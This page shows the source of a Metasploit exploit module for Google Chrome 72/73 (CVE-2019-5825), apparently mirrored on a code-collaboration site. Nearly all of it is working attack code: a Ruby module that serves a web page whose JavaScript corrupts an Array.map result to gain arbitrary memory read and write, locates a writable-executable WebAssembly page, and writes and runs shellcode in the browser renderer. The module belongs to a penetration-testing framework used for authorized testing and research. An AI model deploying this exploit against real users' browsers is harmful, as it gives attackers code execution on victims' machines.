Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/chrome_array_map.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::HttpServer::BrowserExploit910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Google Chrome 72 and 73 Array.map exploit',15'Description' => %q{16This module exploits an issue in Chrome 73.0.3683.86 (64 bit).17The exploit corrupts the length of a float in order to modify the backing store18of a typed array. The typed array can then be used to read and write arbitrary19memory. The exploit then uses WebAssembly in order to allocate a region of RWX20memory, which is then replaced with the payload.21The payload is executed within the sandboxed renderer process, so the browser22must be run with the --no-sandbox option for the payload to work correctly.23},24'License' => MSF_LICENSE,25'Author' => [26'dmxcsnsbh', # discovery27'István Kurucsai', # exploit28'timwr', # metasploit module29],30'References' => [31['CVE', '2019-5825'],32['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=941743'],33['URL', 'https://github.com/exodusintel/Chromium-941743'],34['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],35['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],36],37'Notes' => {38'Reliability' => [ REPEATABLE_SESSION ],39'SideEffects' => [ IOC_IN_LOGS ],40'Stability' => [CRASH_SAFE]41},42'Arch' => [ ARCH_X64 ],43'Platform' => ['windows', 'osx'],44'DefaultTarget' => 0,45'Targets' => [ [ 'Automatic', {} ] ],46'DisclosureDate' => '2019-03-07'47)48)49end5051def on_request_uri(cli, request)52print_status("Sending #{request.uri} to #{request['User-Agent']}")53escaped_payload = Rex::Text.to_unescape(payload.encoded)54jscript = %^55// HELPER FUNCTIONS56let conversion_buffer = new ArrayBuffer(8);57let float_view = new Float64Array(conversion_buffer);58let int_view = new BigUint64Array(conversion_buffer);59BigInt.prototype.hex = function() {60return '0x' + this.toString(16);61};62BigInt.prototype.i2f = function() {63int_view[0] = this;64return float_view[0];65}66BigInt.prototype.smi2f = function() {67int_view[0] = this << 32n;68return float_view[0];69}70Number.prototype.f2i = function() {71float_view[0] = this;72return int_view[0];73}74Number.prototype.f2smi = function() {75float_view[0] = this;76return int_view[0] >> 32n;77}78Number.prototype.i2f = function() {79return BigInt(this).i2f();80}81Number.prototype.smi2f = function() {82return BigInt(this).smi2f();83}8485// *******************86// Exploit starts here87// *******************88// This call ensures that TurboFan won't inline array constructors.89Array(2**30);9091// we are aiming for the following object layout92// [output of Array.map][packed float array][typed array][Object]93// First the length of the packed float array is corrupted via the original vulnerability,94// then the float array can be used to modify the backing store of the typed array, thus achieving AARW.95// The Object at the end is used to implement addrof9697// offset of the length field of the float array from the map output98const float_array_len_offset = 23;99// offset of the length field of the typed array100const tarray_elements_len_offset = 24;101// offset of the address pointer of the typed array102const tarray_elements_addr_offset = tarray_elements_len_offset + 1;103const obj_prop_b_offset = 33;104105// Set up a fast holey smi array, and generate optimized code.106let a = [1, 2, ,,, 3];107let cnt = 0;108var tarray;109var float_array;110var obj;111112function mapping(a) {113function cb(elem, idx) {114if (idx == 0) {115float_array = [0.1, 0.2];116117tarray = new BigUint64Array(2);118tarray[0] = 0x41414141n;119tarray[1] = 0x42424242n;120obj = {'a': 0x31323334, 'b': 1};121obj['b'] = obj;122}123124if (idx > float_array_len_offset) {125// minimize the corruption for stability126throw "stop";127}128return idx;129}130return a.map(cb);131}132133function get_rw() {134for (let i = 0; i < 10 ** 5; i++) {135mapping(a);136}137138// Now lengthen the array, but ensure that it points to a non-dictionary139// backing store.140a.length = (32 * 1024 * 1024)-1;141a.fill(1, float_array_len_offset, float_array_len_offset+1);142a.fill(1, float_array_len_offset+2);143144a.push(2);145a.length += 500;146147// Now, the non-inlined array constructor should produce an array with148// dictionary elements: causing a crash.149cnt = 1;150try {151mapping(a);152} catch(e) {153// relative RW from the float array from this point on154let sane = sanity_check()155print('sanity_check == ', sane);156print('len+3: ' + float_array[tarray_elements_len_offset+3].f2i().toString(16));157print('len+4: ' + float_array[tarray_elements_len_offset+4].f2i().toString(16));158print('len+8: ' + float_array[tarray_elements_len_offset+8].f2i().toString(16));159160let original_elements_ptr = float_array[tarray_elements_len_offset+1].f2i() - 1n;161print('original elements addr: ' + original_elements_ptr.toString(16));162print('original elements value: ' + read8(original_elements_ptr).toString(16));163print('addrof(Object): ' + addrof(Object).toString(16));164}165}166167function sanity_check() {168success = true;169success &= float_array[tarray_elements_len_offset+3].f2i() == 0x41414141;170success &= float_array[tarray_elements_len_offset+4].f2i() == 0x42424242;171success &= float_array[tarray_elements_len_offset+8].f2i() == 0x3132333400000000;172return success;173}174175function read8(addr) {176let original = float_array[tarray_elements_len_offset+1];177float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();178let result = tarray[0];179float_array[tarray_elements_len_offset+1] = original;180return result;181}182183function write8(addr, val) {184let original = float_array[tarray_elements_len_offset+1];185float_array[tarray_elements_len_offset+1] = (addr - 0x1fn).i2f();186tarray[0] = val;187float_array[tarray_elements_len_offset+1] = original;188}189190function addrof(o) {191obj['b'] = o;192return float_array[obj_prop_b_offset].f2i();193}194195var wfunc = null;196var shellcode = unescape("#{escaped_payload}");197198function get_wasm_func() {199var importObject = {200imports: { imported_func: arg => print(arg) }201};202bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];203wasm_code = new Uint8Array(bc);204wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);205return wasm_mod.exports.exported_func;206}207208function rce() {209let wasm_func = get_wasm_func();210wfunc = wasm_func;211// traverse the JSFunction object chain to find the RWX WebAssembly code page212let wasm_func_addr = addrof(wasm_func) - 1n;213print('wasm: ' + wasm_func_addr);214if (wasm_func_addr == 2) {215print('Failed, retrying...');216location.reload();217return;218}219220let sfi = read8(wasm_func_addr + 12n*2n) - 1n;221print('sfi: ' + sfi.toString(16));222let WasmExportedFunctionData = read8(sfi + 4n*2n) - 1n;223print('WasmExportedFunctionData: ' + WasmExportedFunctionData.toString(16));224225let instance = read8(WasmExportedFunctionData + 8n*2n) - 1n;226print('instance: ' + instance.toString(16));227228//let rwx_addr = read8(instance + 0x108n);229let rwx_addr = read8(instance + 0xf8n) + 0n; // Chrome/73.0.3683.86230//let rwx_addr = read8(instance + 0xe0n) + 18n; // Chrome/69.0.3497.100231//let rwx_addr = read8(read8(instance - 0xc8n) + 0x53n); // Chrome/68.0.3440.84232print('rwx: ' + rwx_addr.toString(16));233234// write the shellcode to the RWX page235if (shellcode.length % 2 != 0) {236shellcode += "\u9090";237}238239for (let i = 0; i < shellcode.length; i += 2) {240write8(rwx_addr + BigInt(i*2), BigInt(shellcode.charCodeAt(i) + shellcode.charCodeAt(i + 1) * 0x10000));241}242243// invoke the shellcode244wfunc();245}246247248function exploit() {249print("Exploiting...");250get_rw();251rce();252}253254exploit();255^256257jscript = add_debug_print_js(jscript)258html = %(259<html>260<head>261<script>262#{jscript}263</script>264</head>265<body>266</body>267</html>268)269send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })270end271272end273274275